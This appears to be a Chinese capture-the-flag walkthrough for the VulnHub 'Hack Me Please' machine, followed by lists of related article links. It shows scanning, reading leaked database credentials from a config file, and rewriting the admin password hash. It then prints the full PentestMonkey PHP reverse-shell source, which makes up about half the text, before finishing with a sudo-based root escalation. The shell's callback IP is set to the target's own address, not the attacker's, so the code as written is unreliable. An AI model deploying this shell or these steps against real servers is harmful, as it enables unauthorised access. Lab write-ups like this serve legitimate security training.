准备:

攻击机:虚拟机kali、本机win10。

靶机:HACK ME PLEASE,下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar,下载后直接vbox打开即可。

知识点:seeddms框架、敏感信息泄露、shell上传、目录扫描(较多)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.110.4。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.4,显示开放了80、3306、33060端口,开启了apache、mysql服务。

目录扫描:

使用dirmap进行目录扫描,发现了一些图片文件和js文件,在http://192.168.110.4/js/main.js文件中发现了一个目录信息:/seeddms51x/seeddms-5.1.22/。

对新发现的两个目录进行扫描,发现了/conf、/data、/doc、/inc等目录和文件,登录界面:http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php,但是缺少账号和密码,也简单测试了下注入未成功。

对conf目录进行扫描,发现了/seeddms51x/conf/settings.xml,访问该文件查看是否隐藏有账户信息,意外发现了数据库的账号和密码信息:seeddms/seeddms。

数据库连接和web登录:

使用账户信息:seeddms/seeddms在navicat客户端进行连接,查看下数据库内的信息,在tblUsers中发现账户admin和其密码信息:admin

/f9ef2c539bad8a6d2f3432b6d49ab51a、以及:saket/Saket@#$1337。

修改数据库中admin账户的密码信息,在加密网站随便加密一串字符串,这里用的是upfine,将加密的字符串替换掉原来的加密字符串。

使用已知的账户名:admin和修改的密码:upfine,在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。

获取shell:

在登录的web中发现了一处上传功能,上传shell反弹脚本,脚本内容可在:https://www.revshells.com/网站中获取,选取PHP PentestMonkey模块即可,或复制下面代码。

shell反弹脚本

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.4';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

使用上传功能上传shell.php脚本信息,上传之后会显示错误信息,但是在主目录下是可以正常看到上传的shell文件的。

然后需要查找下上传文件的目录信息,在下载的seeddms框架中找到了其数据存放的目录为1048576,因此对靶机该目录进行扫描,命令:dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *,发现了/1048576/6目录,继续对此目录进行扫描,发现了1.php文件。

kali端开启对6688端口的监听,然后访问该php文件,成功获得shell权限。

提权:

前往/home目录下简单的查看下都有哪些账户,发现了账户saket,前面在数据库中获得了这个账户的密码:Saket@#$1337,因此我们可以直接切换到saket账户。

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示是all,那就直接sudo su提权到root就好了。

vulnhub靶场之HACK ME PLEASE的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. k8s 中的 Pod 细节了解

    k8s中Pod的理解 基本概念 k8s 为什么使用 Pod 作为最小的管理单元 如何使用 Pod 1.自主式 Pod 2.控制器管理的 Pod 静态 Pod Pod的生命周期 Pod 如何直接暴露服务 ...

  2. Traefik开启监控,日志,追踪需要的参数

    监控 官方文档地址:https://doc.traefik.io/traefik/observability/metrics/overview/ 可以使用多种监控软件,比如Datadog,Influx ...

  3. Beats:使用Elastic Stack对Redis监控

  4. PostgreSQL 语法

    进入命令行工具,我们可以使用 \help 来查看各个命令的语法 : postgres-# \help <command_name> 例如,我们查看下 select 语句的语法: postg ...

  5. 【前端必会】Prettier,有了ESlint,还要Prettier

    介绍 已经安装了ESLint为什么还要Prettier,主要是让ESLint专注于语法相关的验证,检查潜在问题.而代码格式化则有Prettier来接管 对比参考: https://baijiahao. ...

  6. C#-10 事件

    一 发布者和订阅者 很多时候都有这种需求,当一个特定的程序事件发生时,程序的其他部分可以得到该事件已经发生的通知. 发布者/订阅者模式可以满足这种需求. 发布者:发布某个事件的类或结构,其他类可以在该 ...

  7. 关于IDEA中Tomcat中文乱码的解决方案

    进入Tomcat/config文件夹下,打开编辑logging.properties 然后查看该文件内是否存在java.util.logging.ConsoleHandler.encoding = U ...

  8. sql中更换函数REPLACE

    update <表名> ser <更换的列名> replace(<更换的列名>,'<更换前的对象>','<更换后的对象>') 例 updat ...

  9. 空 Maven项目转成 Web项目 & SpringMVC调用其他 Module中的方法可能会遇到的小问题

    SpringMVC调用其他 模块内的方法的 坑 下次别在阴沟里翻船啦.. 一共花费 4个小时,解决项目中的这个问题 OMG 1. 首先是 Maven新建工程 一般使用 Maven都是先创建 空工程 当 ...

  10. 代码随想录第四天| 24. 两两交换链表中的节点 、19.删除链表的倒数第N个节点 、160.链表相交、142.环形链表II

    今天链表致死量 第一题 public static class ListNode { int val; ListNode next; ListNode() {} ListNode(int val) { ...